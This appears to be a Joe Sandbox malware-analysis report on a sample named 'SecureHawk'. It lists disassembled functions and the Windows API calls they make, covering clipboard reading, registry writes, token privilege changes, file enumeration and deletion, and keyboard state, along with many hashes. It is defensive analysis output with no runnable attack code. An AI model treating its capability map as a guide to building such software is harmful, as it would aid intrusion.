Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: LongNamePath_memmove
String ID:
API String ID: 2514874351-0
Opcode ID: ce57bc1525fd25bf7d2f50b1bb344e229dca06d4971e42cd68572a13777fd903
Instruction ID: ea29e8641a1a97ffb7cf306ccac32585b2d356d9928d5421d56f281e756b4d47
Opcode Fuzzy Hash: ce57bc1525fd25bf7d2f50b1bb344e229dca06d4971e42cd68572a13777fd903
Instruction Fuzzy Hash: 43E08636A012285BC722D698DC06FEAB7EDDB88790F0441B6FC09D7244D9605D818691

Function 00354B85 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(00000000,?,00000000,00000000,?), ref: 00354B9E

Part of subcall function 00301821: _memmove.LIBCMT ref: 0030185B

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: FolderPath_memmove
String ID:
API String ID: 3334745507-0
Opcode ID: fdd04db987c9b014cfb30508f096a4a6ec799d572bc921e5376137dfd9db7003
Instruction ID: b89f15caf8b24b4c4d7728854d7dd59bc11fa1137e49e9ce0dfb222b62be2485
Opcode Fuzzy Hash: fdd04db987c9b014cfb30508f096a4a6ec799d572bc921e5376137dfd9db7003
Instruction Fuzzy Hash: 01D05EB190032C2BDB64E6A59C0DDB77BACD744220F0006E1BC5CD3142E9249D458AE0

Function 0035762F Relevance: 1.5, APIs: 1, Instructions: 21threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_00067615,00000000,00000000,?), ref: 0035764A

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 59714b6fe0ef1d6e563b5135d0baf2e94ec87cfa04e79e4c1f8b9cff1b1ce04a
Instruction ID: 07334b1378c5a22d5b4dd23886da084e6aab33cc912604f6a43070992ba417ad
Opcode Fuzzy Hash: 59714b6fe0ef1d6e563b5135d0baf2e94ec87cfa04e79e4c1f8b9cff1b1ce04a
Instruction Fuzzy Hash: 1DD012714247147F566D8B65EC0ACA7769CEA05625740076EBC0581500F6A1BC0486A0

Function 00354E59 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,00353A6B), ref: 00354E5A

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: c5d74019e27ba5efaf5cb04dd0f4354534a6b653a8847684e1d5bd0d9080847e
Instruction ID: f85df450f8b4ef001f0159390ca5e1d1fc0747b376bdb96c8168a7fa92100447
Opcode Fuzzy Hash: c5d74019e27ba5efaf5cb04dd0f4354534a6b653a8847684e1d5bd0d9080847e
Instruction Fuzzy Hash: 11B09238000600469DAE0A78290E999332468827BEFDA1BC0DC74A58F282398C8FA750

Function 003153AB Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 003153B6

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction ID: ab6858522b9103358bd1083b373c80f449f22584607b601dddc9585fb7e68296
Opcode Fuzzy Hash: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction Fuzzy Hash: D1B0927A54020CB7CE022A82EC02B897B199B856A8F408021FB1C1D162A6B3A6A09689

Function 0035C0DD Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00353E72: FindFirstFileW.KERNEL32(?,?), ref: 00353EE9
Part of subcall function 00353E72: DeleteFileW.KERNEL32(?,?,?,?), ref: 00353F39
Part of subcall function 00353E72: FindNextFileW.KERNEL32(00000000,00000010), ref: 00353F4A
Part of subcall function 00353E72: FindClose.KERNEL32(00000000), ref: 00353F61

GetLastError.KERNEL32 ref: 0035C0FF

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: FileFind$CloseDeleteErrorFirstLastNext
String ID:
API String ID: 2191629493-0
Opcode ID: 2987fbf71f4e00b2c3add809d00d4cdd4ce22a288e35ceb93afafaee610c2223
Instruction ID: 75c8f39947df1309b5241d6d163349d24a5a19491cf9460fe3b2605b095a14bd
Opcode Fuzzy Hash: 2987fbf71f4e00b2c3add809d00d4cdd4ce22a288e35ceb93afafaee610c2223
Instruction Fuzzy Hash: B5F0A7362106048FD715FF59D851F6EB7E4AF84360F058059F9068B352CB74BD01CB90

Non-executed Functions

Function 0037CEDF Relevance: 75.9, APIs: 40, Strings: 3, Instructions: 632windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 002F29E2: GetWindowLongW.USER32(?,000000EB), ref: 002F29F3

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 0037CF5A
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0037CFB8
GetWindowLongW.USER32(?,000000F0), ref: 0037CFF9
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0037D023
SendMessageW.USER32 ref: 0037D04C
_wcsncpy.LIBCMT ref: 0037D0B8
GetKeyState.USER32(00000011), ref: 0037D0D9
GetKeyState.USER32(00000009), ref: 0037D0E6
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0037D0FC
GetKeyState.USER32(00000010), ref: 0037D106
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0037D12F
SendMessageW.USER32 ref: 0037D156
SendMessageW.USER32(?,00001030,?,0037B735), ref: 0037D25A
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 0037D270
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 0037D283
SetCapture.USER32(?), ref: 0037D28C
ClientToScreen.USER32(?,?), ref: 0037D2F1
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 0037D2FE
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 0037D318
ReleaseCapture.USER32 ref: 0037D323
GetCursorPos.USER32(?), ref: 0037D35D
ScreenToClient.USER32(?,?), ref: 0037D36A
SendMessageW.USER32(?,00001012,00000000,?), ref: 0037D3C6
SendMessageW.USER32 ref: 0037D3F4
SendMessageW.USER32(?,00001111,00000000,?), ref: 0037D431
SendMessageW.USER32 ref: 0037D460
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 0037D481
SendMessageW.USER32(?,0000110B,00000009,?), ref: 0037D490
GetCursorPos.USER32(?), ref: 0037D4B0
ScreenToClient.USER32(?,?), ref: 0037D4BD
GetParent.USER32(?), ref: 0037D4DD
SendMessageW.USER32(?,00001012,00000000,?), ref: 0037D546
SendMessageW.USER32 ref: 0037D577
ClientToScreen.USER32(?,?), ref: 0037D5D5
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 0037D605
SendMessageW.USER32(?,00001111,00000000,?), ref: 0037D62F
SendMessageW.USER32 ref: 0037D652
ClientToScreen.USER32(?,?), ref: 0037D6A4
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 0037D6D8

Part of subcall function 002F29AB: GetWindowLongW.USER32(?,000000EB), ref: 002F29BC

GetWindowLongW.USER32(?,000000F0), ref: 0037D774

Strings

F, xrefs: 0037D658
@GUI_DRAGID, xrefs: 0037D2BF
pr;, xrefs: 0037D2D2

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease_wcsncpy
String ID: @GUI_DRAGID$F$pr;
API String ID: 3977979337-4188143804
Opcode ID: b7888b9bc4a7526bb35f2b03a5053318dde15ad1111b669accc615fcce7d2c5f
Instruction ID: de221a32ac409b17a69aa648f5e34c4b39a63b12faad8b3e78445cb095f54a1f
Opcode Fuzzy Hash: b7888b9bc4a7526bb35f2b03a5053318dde15ad1111b669accc615fcce7d2c5f
Instruction Fuzzy Hash: 6C42AD34204341AFDB26CF24C888AAABBF9FF49314F148A5DF65D872A1C735E854CB91

Function 00348D11 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 224COMMON

Download Yara Rule

APIs

Part of subcall function 0034917C: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 003491C6
Part of subcall function 0034917C: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 003491F3
Part of subcall function 0034917C: GetLastError.KERNEL32 ref: 00349200

_memset.LIBCMT ref: 00348D54
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 00348DA6
CloseHandle.KERNEL32(?), ref: 00348DB7
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 00348DCE
GetProcessWindowStation.USER32 ref: 00348DE7
SetProcessWindowStation.USER32(00000000), ref: 00348DF1
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00348E0B

Part of subcall function 00348BCC: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00348D0A), ref: 00348BE1
Part of subcall function 00348BCC: CloseHandle.KERNEL32(?,?,00348D0A), ref: 00348BF3

Strings

winsta0, xrefs: 00348DC9
default, xrefs: 00348E06
, xrefs: 00348D63

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
String ID: $default$winsta0
API String ID: 2063423040-1027155976
Opcode ID: 1ffded4cdbfd7f69f0f2e871d48884922947e02bf430221a346434fb14a4141c
Instruction ID: 20ccec685ecc1d9ddc157f45d52f408e4d5e5fe437739ee9463300fe0783e851
Opcode Fuzzy Hash: 1ffded4cdbfd7f69f0f2e871d48884922947e02bf430221a346434fb14a4141c
Instruction Fuzzy Hash: 8B817D71900209AFDF169FA4DC45AEEBBB9FF08304F14419AF911BA161DB31AE59DB20

Function 00364416 Relevance: 30.2, APIs: 20, Instructions: 167clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(00380980), ref: 00364440
IsClipboardFormatAvailable.USER32(0000000D), ref: 0036444E
GetClipboardData.USER32(0000000D), ref: 00364456
CloseClipboard.USER32 ref: 00364462
GlobalLock.KERNEL32(00000000), ref: 0036447E
CloseClipboard.USER32 ref: 00364488
GlobalUnlock.KERNEL32(00000000), ref: 0036449D
IsClipboardFormatAvailable.USER32(00000001), ref: 003644AA
GetClipboardData.USER32(00000001), ref: 003644B2
GlobalLock.KERNEL32(00000000), ref: 003644BF
GlobalUnlock.KERNEL32(00000000), ref: 003644F3
CloseClipboard.USER32 ref: 00364603

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Clipboard$Global$Close$AvailableDataFormatLockUnlock$Open
String ID:
API String ID: 3222323430-0
Opcode ID: 03b5fab45fe4e6bb11136447d22536adbd5f5d7481410c286093095aaf29fd10
Instruction ID: 22e7acec5c8303588ff6345f757710b7c2511bec55be3cc67e8febe1d3e5fc09
Opcode Fuzzy Hash: 03b5fab45fe4e6bb11136447d22536adbd5f5d7481410c286093095aaf29fd10
Instruction Fuzzy Hash: A351AA31244301AFD747EB60DC9AF6E77ACAF84B51F008529F656D61E2EF70D9088B62

Function 0035CC0C Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 280timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 0035CC3D
FindClose.KERNEL32(00000000), ref: 0035CC91
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0035CCB6
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0035CCCD
FileTimeToSystemTime.KERNEL32(?,?), ref: 0035CCF4
__swprintf.LIBCMT ref: 0035CD40
__swprintf.LIBCMT ref: 0035CD83

Part of subcall function 00301A36: _memmove.LIBCMT ref: 00301A77

__swprintf.LIBCMT ref: 0035CDD7

Part of subcall function 003137FA: __woutput_l.LIBCMT ref: 00313853

__swprintf.LIBCMT ref: 0035CE25

Part of subcall function 003137FA: __flsbuf.LIBCMT ref: 00313875
Part of subcall function 003137FA: __flsbuf.LIBCMT ref: 0031388D

__swprintf.LIBCMT ref: 0035CE74
__swprintf.LIBCMT ref: 0035CEC3
__swprintf.LIBCMT ref: 0035CF12

Strings

%4d, xrefs: 0035CD7D
%02d, xrefs: 0035CDCB, 0035CDD5, 0035CE23, 0035CE72, 0035CEC1, 0035CF10
%4d%02d%02d%02d%02d%02d, xrefs: 0035CD3A

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: __swprintf$FileTime$FindLocal__flsbuf$CloseFirstSystem__woutput_l_memmove
String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
API String ID: 3953360268-2428617273
Opcode ID: bf8b80b4f64b4fab13203ee7ac6c759cbce70a1a1ea62faff005f41b3c6cf20c
Instruction ID: 191407d5dd1cd511748342ce207871040d075d8f4814baef4d002540b41ba63b
Opcode Fuzzy Hash: bf8b80b4f64b4fab13203ee7ac6c759cbce70a1a1ea62faff005f41b3c6cf20c
Instruction Fuzzy Hash: E3A13DB1414308AFD315FFA4C996DAFB7ECAF94704F400929F695C6191EB70EA08CB62

Function 0035F445 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 119fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,75568FB0,?,00000000), ref: 0035F466
_wcscmp.LIBCMT ref: 0035F47B
_wcscmp.LIBCMT ref: 0035F492
GetFileAttributesW.KERNEL32(?), ref: 0035F4A4
SetFileAttributesW.KERNEL32(?,?), ref: 0035F4BE
FindNextFileW.KERNEL32(00000000,?), ref: 0035F4D6
FindClose.KERNEL32(00000000), ref: 0035F4E1
FindFirstFileW.KERNEL32(*.*,?), ref: 0035F4FD
_wcscmp.LIBCMT ref: 0035F524
_wcscmp.LIBCMT ref: 0035F53B
SetCurrentDirectoryW.KERNEL32(?), ref: 0035F54D
SetCurrentDirectoryW.KERNEL32(003A98F8), ref: 0035F56B
FindNextFileW.KERNEL32(00000000,00000010), ref: 0035F575
FindClose.KERNEL32(00000000), ref: 0035F582
FindClose.KERNEL32(00000000), ref: 0035F594

Strings

*.*, xrefs: 0035F4F8

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1803514871-438819550
Opcode ID: ed85758bec9cdf92c561bf5944f95fa7f29ead58517c70249edbfdca3f8b7317
Instruction ID: d5d3979ec2bb8795f65677724c5810daa2af9735ef7b0e7856dd193fcaca5832
Opcode Fuzzy Hash: ed85758bec9cdf92c561bf5944f95fa7f29ead58517c70249edbfdca3f8b7317
Instruction Fuzzy Hash: E931B2326403196FDB16DFA5DC48EDE73AC9F0A321F1105A6F814E31A0EB74DA488B60

Function 00370C7F Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00370D7B
RegCreateKeyExW.ADVAPI32(?,?,00000000,00380980,00000000,?,00000000,?,?), ref: 00370DE9
RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 00370E31
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 00370EBA
RegCloseKey.ADVAPI32(?), ref: 003711DA
RegCloseKey.ADVAPI32(00000000), ref: 003711E7

Strings

REG_SZ, xrefs: 00370EF8
REG_QWORD, xrefs: 00371128
REG_BINARY, xrefs: 00371175
REG_MULTI_SZ, xrefs: 00370FA2
REG_EXPAND_SZ, xrefs: 00370E57
REG_DWORD, xrefs: 003710AB

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Close$ConnectCreateRegistryValue
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 536824911-966354055
Opcode ID: 84ff8c4afdcc1a43962d46dddf4710a5f094f3cb2b281b7bbd6fd96ed6cb2de1
Instruction ID: 26cfb5377e9318d256189014fc9320dd97bea6ebf9e154bb085620a7403d2690
Opcode Fuzzy Hash: 84ff8c4afdcc1a43962d46dddf4710a5f094f3cb2b281b7bbd6fd96ed6cb2de1
Instruction Fuzzy Hash: 21027C752006059FC726EF28C851E2AB7E5FF89314F04895DF98A9B3A2CB74ED45CB81

Function 0035F5A2 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 112fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,75568FB0,?,00000000), ref: 0035F5C3
_wcscmp.LIBCMT ref: 0035F5D8
_wcscmp.LIBCMT ref: 0035F5EF

Part of subcall function 003546E2: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 003546FD

FindNextFileW.KERNEL32(00000000,?), ref: 0035F61E
FindClose.KERNEL32(00000000), ref: 0035F629
FindFirstFileW.KERNEL32(*.*,?), ref: 0035F645
_wcscmp.LIBCMT ref: 0035F66C
_wcscmp.LIBCMT ref: 0035F683
SetCurrentDirectoryW.KERNEL32(?), ref: 0035F695
SetCurrentDirectoryW.KERNEL32(003A98F8), ref: 0035F6B3
FindNextFileW.KERNEL32(00000000,00000010), ref: 0035F6BD
FindClose.KERNEL32(00000000), ref: 0035F6CA
FindClose.KERNEL32(00000000), ref: 0035F6DC

Strings

*.*, xrefs: 0035F640

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 1824444939-438819550
Opcode ID: 0d9189e7f87c743cb0252b1513f1b6ff53e49c7fdc8a0a7176a3adf1fe8d4d14
Instruction ID: 208118ad58f355399495d1c53f7ad5d5613e05ed14b1d581d31f07da59dbbba2
Opcode Fuzzy Hash: 0d9189e7f87c743cb0252b1513f1b6ff53e49c7fdc8a0a7176a3adf1fe8d4d14
Instruction Fuzzy Hash: EE31C5325003196EDB26AFA4DC88EDE77AC9F46325F1105A1EC14A71B0DB71DE8C8B64

Function 0035E0CA Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 185timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 0035E18C
SystemTimeToFileTime.KERNEL32(?,?), ref: 0035E19C
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 0035E1A8
__wsplitpath.LIBCMT ref: 0035E206
_wcscat.LIBCMT ref: 0035E21E
_wcscat.LIBCMT ref: 0035E230
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 0035E245
SetCurrentDirectoryW.KERNEL32(?), ref: 0035E259
SetCurrentDirectoryW.KERNEL32(?), ref: 0035E28B
SetCurrentDirectoryW.KERNEL32(?), ref: 0035E2AC
_wcscpy.LIBCMT ref: 0035E2B8
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 0035E2F7

Strings

*.*, xrefs: 0035E2B2

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local_wcscat$System__wsplitpath_wcscpy
String ID: *.*
API String ID: 3566783562-438819550
Opcode ID: 539b2540473e0f401cc81360b9dec9bba53c907fd2a6397117fb237f33a1e6dd
Instruction ID: 6732b9debf47069dd0989ba7e92ab53a077eca4cac0c9af288b5691f67466572
Opcode Fuzzy Hash: 539b2540473e0f401cc81360b9dec9bba53c907fd2a6397117fb237f33a1e6dd
Instruction Fuzzy Hash: F46148725047059FC715EF60C885DAAB3E8BF89310F04492EF98997261EB31EA49CB92

Function 003486B0 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00348C03: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00348C1F
Part of subcall function 00348C03: GetLastError.KERNEL32(?,003486E3,?,?,?), ref: 00348C29
Part of subcall function 00348C03: GetProcessHeap.KERNEL32(00000008,?,?,003486E3,?,?,?), ref: 00348C38
Part of subcall function 00348C03: HeapAlloc.KERNEL32(00000000,?,003486E3,?,?,?), ref: 00348C3F
Part of subcall function 00348C03: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00348C56

